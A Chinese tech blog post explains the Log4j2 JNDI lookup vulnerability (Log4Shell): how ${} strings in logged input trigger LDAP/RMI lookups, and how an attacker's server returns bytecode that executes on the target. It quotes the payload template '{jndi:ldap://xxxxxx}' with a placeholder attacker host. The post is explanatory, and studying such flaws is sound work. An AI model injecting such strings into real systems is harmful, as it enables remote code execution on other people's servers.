相信大家最近都被 Apache
的 Log4j2
的漏洞相关的文章刷屏了,不得不说这次的这个漏洞影响范围之广,很多互联网大厂和开源软件都被影响到了,作为一个特别通用的日志框架,日常使用的场景非常多,而且很多开源软件都在使用,所以此次影响到一大批公司,堪称核弹级漏洞!
不过据说 2021 年 11 月 24 日,阿里云安全团队向 Apache
官方报告了 Apache Log4j2
远程代码执行漏洞,可能这是为什么阿里内部群很安静,没任何波澜的原因吧,毕竟有安全部门!但是很多其他公司是工程师就很不幸了,都表示自己在 12 月 10 号这天晚上被拉起来修复漏洞了,还有好多要给客户打补丁的。
我们都知道在使用Apache Log4j2
记录日志的时候,会使用这样的格式logger.info("params: {}", params);
,进行组装,不要告诉阿粉你是用加号拼装~。log4j2
底层在进行组装的时候,如果发现传入的 params
当中含有${}
字符串的话会进行替换的时候会执行 lookup
的操作,所谓的 lookup
的操作就是允许通过 JNDI
检索变量。
通过 JNDI 注入漏洞,黑客可以恶意构造特殊数据请求包,触发此漏洞,从而成功利用此漏洞可以在目标服务器上执行任意代码,想想就很恐怖!也就是说当 params 中的参数包含一些特定的字符的时候,就会触发这个漏洞,这种字符数格式比如:{jndi:ldap://xxxxxx},{jndi:rmi://xxxxxx} 其中xxxxxx 表示黑客的服务地址。
黑客通过构造这样的字符串来访问目标网站,只要程序通过 log4j2
将日志进行记录,不管是什么级别,就会将 log4j2
的 lookup
功能触发,然后就会通过 RMI
访问黑客的服务地址,黑客通过这个服务输出一个 class
字节码文件,这个字节码文件里面可以执行任何内容,相当于把这个服务器都交给黑客了,后果可想而知!
有大佬画了一张攻击原理的图书,阿粉给大家看一下,很详细了。
估计很多小伙伴看到这个漏洞的时候估计跟阿粉一样有一个疑问,那就是 RMI
是啥?运用面向搜索引擎编程的技巧,阿粉找到了下面的内容,看上去还是很好理解的。
Java RMI(Java Remote Method Invocation),即 Java 远程方法调用。是 Java 编程语言里,一种用于实现远程过程调用的应用程序编程接口。有点类似于我们常用的服务注册发现机制一样,使用 JRMP(Java Remote Message Protocol,Java远程消息交换协议)实现,使得客户端运行的程序可以调用远程服务器上的对象,有点 RPC 的感觉。
王坚博士曾说:安全是互联网公司的生命,也是每一位网民的最基本需求。
互联网软件的安全与我们每一个程序员相关,我们在日常工作中要随时有应对各种安全漏洞的准备,写的代码也有尽量没有漏洞。